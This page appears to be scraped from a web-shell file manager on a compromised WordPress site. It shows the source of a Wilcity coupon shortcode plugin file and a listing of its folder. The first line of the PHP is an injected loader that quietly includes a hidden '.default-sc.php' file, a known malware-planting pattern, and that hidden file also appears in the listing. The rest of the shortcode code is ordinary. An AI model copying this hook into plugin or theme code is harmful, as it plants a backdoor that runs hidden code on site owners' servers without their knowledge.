PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-shortcodes
/
default-sc
<?php if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function wilcityGetCoupon($aAtts) { $aAtts = shortcode_atts( [ 'highlight' => '', 'title' => '', 'description' => '', 'code' => '', 'redirect_to' => '', 'expiry_date' => '' ], $aAtts ); $mainClass = 'col-md-8'; if (empty($aAtts['highlight'])) { $mainClass = 'col-md-12 align-center'; } $redirectTo = empty($aAtts['redirect_to']) ? '#' : esc_url($aAtts['redirect_to']); $icon = apply_filters('wilcity/filter/coupon/highlight/icon', 'la la-angle-double-right'); ?> <div class="sale-off"> <div class="row"> <?php if (!empty($aAtts['highlight'])) : ?> <div class="col-sm-4"> <a @click.prevent="getCoupon('<?php echo esc_attr($aAtts['code']); ?>', '<?php echo $redirectTo; ?>')" class="<?php echo esc_attr(apply_filters('wilcity/filter/class-prefix', 'wilcity-get-counpon')); ?>" href="<?php echo $redirectTo; ?>"> <h4 class="color-secondary mt-15 mb-0 text-center"><?php echo esc_attr($aAtts['highlight']); ?> <i class="<?php echo esc_attr($icon); ?>"></i></h4> </a> </div> <?php endif; ?> <div class="<?php echo esc_attr($mainClass); ?>"> <a @click.prevent="getCoupon('<?php echo esc_attr($aAtts['code']); ?>', '<?php echo $redirectTo; ?>')" class="<?php echo esc_attr(apply_filters('wilcity/filter/class-prefix', 'wilcity-get-counpon')); ?>" href="<?php echo $redirectTo; ?>"> <?php if (!empty($aAtts['title'])) : ?> <h4 class="color-quaternary mt-0 mb-0"><?php echo esc_html($aAtts['title']); ?></h4> <?php endif; ?> <?php if (!empty($aAtts['description'])) : ?> <div><?php echo esc_html($aAtts['description']); ?></div> <?php endif; ?> <?php if (!empty($aAtts['expiry_date'])) : ?> <div><?php echo esc_html__('Expiry date: ', 'wilcity-shortcodes').' '. esc_html($aAtts['expiry_date']); ?></div> <?php endif; ?> </a> </div> </div> </div> <?php } add_shortcode('wilcity_get_coupon', 'wilcityGetCoupon');
[+]
..
[-] wilcity-render-box-icon1.php
[edit]
[-] wilcity-googlemap.php
[edit]
[-] wilcity-sidebar-terms-box.php
[edit]
[-] wilcity-sidebar-business-hours.php
[edit]
[-] wilcity-sidebar-header.php
[edit]
[-] wilcity-list-features.php
[edit]
[-] wilcity-sidebar-coupon.php
[edit]
[-] wilcity-sidebar-tags.php
[edit]
[-] wilcity-sidebar-slider.php
[edit]
[-] wilcity-custom-login.php
[edit]
[-] wilcity-listing-social-networks.php
[edit]
[-] wilcity-sidebar-bookingcombannercreator.php
[edit]
[-] wilcity-get-coupon.php
[edit]
[-] wilcity-header-slider.php
[edit]
[-] wilcity-author-profile.php
[edit]
[-] wilcity-pricing.php
[edit]
[-] wilcity-sidebar-single-price.php
[edit]
[-] wilcity-sidebar-taxonomy.php
[edit]
[-] wilcity-sidebar-statistics.php
[edit]
[-] wilcity-thankyou-promotion.php
[edit]
[-] wilcity-sidebar-related-listings.php
[edit]
[-] .default-sc.php
[edit]
[-] wilcity-sidebar-grid.php
[edit]
[-] wilcity-group-properties.php
[edit]
[-] wilcity-sidebar-business-info.php
[edit]
[-] wilcity-sidebar-claim.php
[edit]
[-] wilcity-google-adsense.php
[edit]
[-] wilcity-sidebar-list.php
[edit]
[-] wilcity-my-bank-account.php
[edit]
[-] wilcity-sidebar-categories.php
[edit]
[-] wilcity-sidebar-my-products.php
[edit]
[-] wilcity-thankyou-addlisting-pending.php
[edit]
[-] wilcity-google-adsense-in-article.php
[edit]
[-] wilcity-sidebar-price-range.php
[edit]
[-] wilcity-thankyou-addlisting-approved.php
[edit]
[-] wilcity-sidebar-google-adsense.php
[edit]
[-] wilcity-sharing-posts.php
[edit]
[-] wilcity-sidebar-custom.php
[edit]
[-] wilcity-gallery.php
[edit]
[-] wilcity-sidebar-woocommerce-booking.php
[edit]